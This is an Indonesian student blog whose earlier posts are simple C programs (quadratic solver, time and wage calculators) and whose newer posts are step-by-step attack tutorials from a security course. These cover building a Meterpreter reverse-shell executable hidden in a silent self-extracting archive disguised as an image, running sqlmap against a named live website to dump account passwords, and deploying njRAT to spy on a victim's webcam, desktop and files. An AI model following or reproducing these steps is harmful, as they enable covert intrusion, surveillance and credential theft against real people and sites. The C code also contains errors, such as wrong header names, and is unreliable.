Minggu, 23 Desember 2018

Tutorial Eksploit Gambar dengan Metasploit di Kali Linux (Kelompok Sistem Keamanan Komputer)


M Fari Caesaradha   1715015051
Sholatul Rachmad    1715015053
Akhmad Masyudi     1715015055
Fikri Syifa Maulidin 1715015062
Wahyu Ramadhani    1715015079

TUTORIAL METASPLOIT
Metasploit adalah sebuah aplikasi yang digunakan untuk mengexploitasi kelemahan suatu system ataupun aplikasi. Aplikasi ini bisa untuk penetration testing ke System Windows, Unix/Linux, dan MacOs, tapi yang lebih cenderung Exploitable adalah Windows SP1. Berikut langkah-langkahnya:

1.      Pertama untuk membuat eksploit gambar kita buat dahulu file eksploitnya. Untuk membuatnya kita gunakan perintah msfvenom yang merupakan perintah metasploit untuk membuat payload virus dan men-encode(menyandikan)-nya. Perintahnya seperti berikut
msfvenom –p windows/meterpreter/reverse_tcp LHOST=”ip komputer anda” LPORT=4444 –f exe > “namafile_virus”.exe

Note: untuk mengecek ip komputer, gunakan perintah ifconfig.
Setelah menjalankan perintah diatas file exe akan dibuat di folder HOME, disini saya menamai filenya “masyudi.exe”.

2.       Selanjutnya cari gambar yang kalian ingin jadikan menjadi eksploit dan pindahkan ke folder dimana file virus kalian berada.

3.       Buat juga icon untuk file virusnya dari file gambar tadi. Untuk membuat icon gunakan website https://convertico.co/jpeg-ico/


Note: Mulai dari sini sampai langkah 11 gunakan windows

4.       Lalu pilih file virus dan file gambar dan gabungkan dengan WinRAR



5.       Centang “Create SFX archive”



6.       Pilih tab Advanced, kemudian pilih SFX Options



7.       Di jendala SFX Options pilih tab setup dan masukkan nama file gambar dan file virus yang telah dibuat.



8.       Lalu pilih tab Modes, pada menu “Silent mode” pilih “Hide all”.



9.       Lalu pilih tab “Text and Icon”, pada menu “Load SFX icon” pilih icon yang telah dibuat.


10.   Kemudian klik “OK” dan file akan terbuat.


11.   Lalu pindahkan file yang telah dibuat ke komputer korban
12.   Kembali ke Kali Linux, masuk ke terminal dan ketikkan perintah
msfconsole
untuk masuk ke metasploit dan masukkan perintah berikut
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.11
set LPORT 4444
show option
exploit 





13.   Jika korban sudah menjalankan file maka exploit akan membuka sesi ke komputer korban
14.   Masukkan perintah screenshot untuk mengambil screenshot dari layar korban


15.   Masukkan perintah sysinfo untuk melihat informasi komputer korban.




TERIMA KASIH

Sabtu, 22 Desember 2018

Tutorial SQL Injection dengan SQLmap di Kali Linux (Kelompok Sistem Keamanan Komputer)



M Fari Caesaradha   1715015051
Sholatul Rachmad    1715015053
Akhmad Masyudi     1715015055
Fikri Syifa Maulidin 1715015062
Wahyu Ramadhani    1715015079

TUTORIAL SQLMAP



SQLmap adalah sebuah aplikasi yang digunakan untuk melakukan SQL Injection yaitu manipulasi database pada website yang di inject. Berikut langkah-langkahnya:

1.    Buka terminal, lalu masukkan perintah  sqlmap -u (url target yang ingin diinjeksi)   –dbs, setelah itu tekan enter. Perintah "-u" adalah "URL" target yang akan di eksekusi oleh sqlmap dan perintah "--dbs" merupakan perintah sqlmap untuk berusaha mencari database dari web yang dijadikan target. Disini target saya adalah http://apotekhar4.000webhostapp.com/edit_obat.php?id=66. Ketika sqlmap mendapat redirect ke index seperti dibawah masukkan saja perintah n.



Hasil injeksi database nya akan sebagai berikut. Disini saya mendapat 3 database.



2.     
Selanjutnya perintahnya  adalah sqlmap -u (url taget yang ingin diinjeksi) -D (database yang ingin diinjeksi) ––tables, lalu tekan enter. Disini target database yang ingin saya injeksi adalah database yang pertama.



Hasilnya adalah sebagai berikut. Disini saya mendapat 4 table.



3.     Selanjutnya perintahnya  adalah sqlmap -u (url taget yang ingin diinjeksi) -D (database yang ingin diinjeksi) –T (table yang ingin diinjeksi) ––columns, lalu tekan enter.



    Hasil injeksi nya akan sebagai berikut. Disini saya mendapat 6 kolom.



4.    Lalu langkah terakhir untuk melihat isi kolom kita menggunakan perintah --dump. perintahnya  adalah sqlmap -u (url taget yang ingin diinjeksi) -D (database yang ingin diinjeksi) –T (table yang ingin diinjeksi) –C (nama kolom) –dump. Pada contoh saya, saya menggunakan –dump-all untuk melihat seluruh isi kolomnya.



Yang hasilnya adalah sebagai berikut. Kita  bisa lihat dari id_akun sampai ke passwordnya.


Terima kasih sudah menyimak tutorial SQLmap sampai akhir. Selamat mencoba. J

Tutorial Remote Access dengan njRAT di Windows (Kelompok Sistem Keamanan Komputer)


M Fari Caesaradha   1715015051
Sholatul Rachmad    1715015053
Akhmad Masyudi     1715015055
Fikri Syifa Maulidin 1715015062
Wahyu Ramadhani    1715015079
TUTORIAL NJRAT

nJRat adalah sebuah aplikasi tools hacking pada sistem operasi windows yang digunakan untuk me-remote / me-monitor pc satu dengan yang lain. Pada tutorial ini saya menggunakan laptop saya sendiri sebagai host sekaligus korbannya, berikut langkah-langkahnya: 

1.      Matikan terlebih dahulu Windows Firewall.


2.      Setelah itu, matikan juga Windows Defender.


3.      Buka aplikasi nJRat.


4.      Setelah itu, atur port sesuai keinginan (disini saya pakai 5552) lalu klik “Start”



5.      Selesai atur port, Klik “Builder” yang ada dibawah, baru atur IP Host dan Exe name sesuai keinginan, jika sudah Klik “BUILD”


6.      Setelah di Build, akan disimpan hasilnya di tempat awal NjRat tersebut


7.      File NjRat sudah disiapkan, tinggal dikirim ke User lain (Syarat harus bisa terkoneksi di Satu LAN baru bisa diakses data User lain tersebut) disini saya mencoba di laptop saya sendiri.


8.      Setelah dibuka file nya, maka User lain tersebut berhasil di Hack, akan muncul data yang masuk.


9.      Disini kita bisa meng akses User victim tersebut, ada beberapa yang bisa diakses, mulai dari bisa mengakses kamera, desktop, dan lain-lain.


10 Pertama saya mengakses Kamera victim tersebut, dengan cara Klik kanan baru pilih “Remote Cam” maka kita bisa mengakses kamera user tersebut.



11.  Kedua saya akan mengakses Dekstop user, dengan cara Klik kanan setelah itu piliih “Remote Desktop”, maka kita bisa melihat Desktop user tersebut.


12.  Ketiga saya akan mengakses File data dari User tersebut, dengan cara Klik kanan setelah itu pilih “Manager”, maka kita bisa mengakses file data-data user tersebut.



13.  Kita bisa juga mengirim pesan ke user yang sudah di hack tersebut, dengan cara klik kanan baru pilih “Open Chat”, setelah itu kita bisa mengirim pesan sesuka kita ke User tersebut (Sebelah kiri warna merah adalah user victim, Sebelah kanan warna putih adalah Hacker).



Itulah beberapa tutorial nJRat, mohon maaf kalau ada salah kata-kata atau langkah-langkah diatas tersebut, Untuk pilihan-pilihan lainnya silahkan dicoba sendiri ya. Selamat mencoba. J
Sekian dan Terima Kasih.


Rabu, 18 Juli 2018

Program Menyelesaikan Persamaan Kuadrat f(x) (Bahasa C)

Yo kawan-kawan kembali lagi bersama saya, disini saya mau membagikan program menyelesaikan persamaan kuadrat f(x) dengan bentuk persamaan a^2 + bx + c = 0 untuk mencari nilai diskriminan dan nilai akar-akarnya dengan rumus abc.

Langsung saja ya, scriptnya sebagai berikut πŸ‘‡

#include<stdio>
#include<conio>
#include<math>

main()
{
int a,b,c,d,e,f;
   float x,x1,x2,akard;

   printf("Bentuk persamaan kuadrat f(x)= ax^2+bx+c=0");
   printf("\nMasukkan variabel a: ");scanf("%i",&a);
   printf("Masukkan variabel b: ");scanf("%i",&b);
   printf("Masukkan variabel c: ");scanf("%i",&c);

   if(a==0){
   printf("Nilai yang anda masukkan salah");
   }else{
   printf("Persamaannya adalah \n");
   if(b>0 && c>0){
   printf("f(x)= %ix^2 + %ix + %i=0 \n", a,b,c);
   }else if(b<0 && c<0){
   e= -1*b;
   f= -1*c;
   printf("f(x)= %ix^2 - %ix - %i=0 \n", a,e,f);
   }else if(b<0 && c>0){
   e= -1*b;
   printf("f(x)= %ix^2 - %ix + %i=0 \n", a,e,c);
   }else if(b>0 && c<0){
   f=-1*c;
   printf("f(x)= %ix^2 + %ix - %i=0 \n", a,b,f);
   }}

   d= (b*b)-(4*a*c);

   if(d>0){
   akard= sqrt(d);
   x1= (-b + akard)/(2*a);
   x2= (-b - akard)/(2*a);
   printf("Diskriminan dari persamaan f(x) adalah %i\n",d);
   printf("Dan akar-akar persamaannya adalah \nX1= %.2f\nX2= %.2f", x1,x2);
   }else if (d==0){
   x= (-b + akard)/(2*a);
   printf("Diskriminan dari persamaan f(x) adalah %i\n",d);
   printf("Dan akar-akar persamaannya adalah \nX=%.2f",x);
   }else{
   printf("Diskriminan dari persamaan f(x) adalah imajiner\n");
   printf("Dan tidak memiliki hasil akar-akar persamaan");
   }
   getch();

}

Dan berikut adalah outputnya


Okee sekian postingan kali ini, makasih udah mampir!

Sabtu, 14 Juli 2018

Program Konversi Waktu Jumlah Detik (Bahasa C)

Halo kawan-kawan lama gak posting lagi nih soalnya ada kerjaan beberapa minggu kemarin, postingan pertama di bulan ini adalah program dimana kalian menginputkan sejumlah detik, lalu dikonversikan kembali menjadi jam, menit, detik. Misalnya, 
3600 detik = 1 jam, 0 menit, 0 detik ;
61 detik = 0 jam, 1 menit, 1 detik ;
3721 detik = 1 jam, 2 menit, 1 detik;
dll.
Scriptnya sebagai berikut πŸ‘‡

#include<stdio>
#include<conio>

main()
{
            int jumlah,jam,sisa,menit,detik;

   printf("|=============================|\n");
   printf("|Program Konversi Jumlah Detik|\n");
   printf("|=============================|\n");

   printf("\n Masukkan seluruh jumlah detik yang akan dikonversi: ");scanf("%i",&jumlah);

   jam=jumlah/3600;
   sisa=jumlah%3600;
   menit=sisa/60;
   detik=sisa%60;
   printf("\n Setelah dikonversikan");
   printf("\n %i detik = %i jam %i menit %i detik\n",jumlah,jam,menit,detik);

   getch();
}

Outputnya seperti ini

Sekian postingan kali ini, makasih udah mampir 😁

Kamis, 28 Juni 2018

Program Menghitung Gaji Pegawai (Bahasa C)

Lanjut lagi nih share programnya
Di postingan ini program yang saya share adalah program menghitung gaji pegawai dimana gaji yang diterima pegawai terdiri dari gaji pokok, tunjangan dan upah lembur, besar tunjangan 15% dari gaji pokok, besar upah lembur perjam 3% dari gaji pokok. 
Langsung saja ke script code nya πŸ‘‡

#include<stdio>
#include<conio>

main()
{
char nama[32],gol;
   float jam,upah;

   printf("Masukkan nama pegawai: ");scanf("%s",&nama);fflush(stdin);
   printf("Masukkan golongan pegawai(A-D): ");scanf("%c",&gol);fflush(stdin);
   printf("Masukkan jam kerja dalam seminggu: ");scanf("%f",&jam);fflush(stdin);

   switch(gol)
   {
    case 'A':if(jam>48){
      upah=(jam-48)*4000+(48*50000);
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }else{
               upah=jam*50000;
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }
      case 'B':if(jam>48){
      upah=(jam-48)*4000+(48*70000);
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }else{
               upah=jam*70000;
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }
      case 'C':if(jam>48){
      upah=(jam-48)*4000+(48*80000);
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }else{
               upah=jam*80000;
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }
      case 'D':if(jam>48){
      upah=(jam-48)*4000+(48*100000);
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }else{
               upah=jam*100000;
               printf("Upah untuk %s sebesar Rp. %0.f",nama,upah);break;
               }
      default:printf("Golongan tidak ada");
      }

   getch();
}

Nah untuk outputnya kira-kira begini



Sekian program kali ini, terima kasih udah mampir
Sampai jumpa lagi

Selasa, 26 Juni 2018

Program Memilih dan Menghitung Menu Makanan/Minuman (Bahasa C)

Halo kawan, sekarang saya mau share program bahasa c lagi nih
Di postingan ini program yang saya share adalah program memilih dan menghitung menu makanan maupun minuman. Setiap pelanggan bebas menentukan jumlah pesanannya dengan ketentuan :
1. jika total pembelian lebih dari 500k maka diskon 20% dari total pembelian
2. jika pelanggan merupakan member maka mendapat diskon tambahan sebesar 30% dari total pembelian
Jika bukan member tambahan diskon sebesar 2% dari total pembelian.
Tampilkan total pembelian yang harus dibayar oleh pelanggan
Mungkin nanti kawan-kawan bisa tambahkan sendiri untuk bangun menu lainnya kalau mau, hehe
Langsung aja ya untuk script code nya beginiπŸ‘‡

#include <stdio.h>
#include <conio.h>
main()
{
float c,p,l,menu,diskon1,diskon2,total;
   char member;

   printf("Menu \n1.Chicken Fried Rice.........Rp. 30.000");
   printf("\n2.Lemon Ice Tea..............Rp. 15.000 ");
   printf("\n3.Pizza Mamamia(Big Size)....Rp. 150.000");

   printf("\n \nApakah anda sudah jadi member?\n1.Ya\n2.Tidak\nPilihan anda: ");scanf("%c",&member);
   printf("\n \nMasukkan jumlah pesanan Chicken Fried Rice: ");scanf("%f",&c);
   printf("Masukkan jumlah pesanan Lemon Ice Tea: ");scanf("%f",&p);
   printf("Masukkan jumlah pesanan Pizza Mamamia: ");scanf("%f",&l);
   printf("\n");


   menu= (30000*c)+(15000*p)+(150000*l);
   if(menu>500000)
   {
    printf("Anda mendapat diskon 20% \n");
    diskon1= menu*0.2;
    if(member=='1')
      {
      printf("Anda adalah member\n");
    diskon2= menu*0.3;
         total=menu-diskon1-diskon2;
    printf("Total pembayaran anda adalah RP. %.0f",total);
      }
    else if(member=='2')
      {
      printf("Anda belum menjadi member\n");
      diskon2= menu*0.02;
         total=menu-diskon1-diskon2;
    printf("Total pembayaran anda adalah RP. %.0f",total);
      }
   }
   else if(menu<=500000)
   {
      if(member=='1')
      {
      printf("Anda adalah member\n");
    diskon2= menu*0.3;
         total=menu-diskon2;
    printf("Total pembayaran anda adalah RP. %.0f",total);
    }
      else if(member=='2')
      {
      printf("Anda belum menjadi member\n");
      diskon2= menu*0.02;
         total=menu-diskon2;
    printf("Total pembayaran anda adalah RP. %.0f",total);
      }
   }

getch();
}

Nah untuk outputnya kira-kira hasilnya kan begini nanti



Oke sampai disini dulu ya, terima kasih udah mampir
Sampai jumpa lagi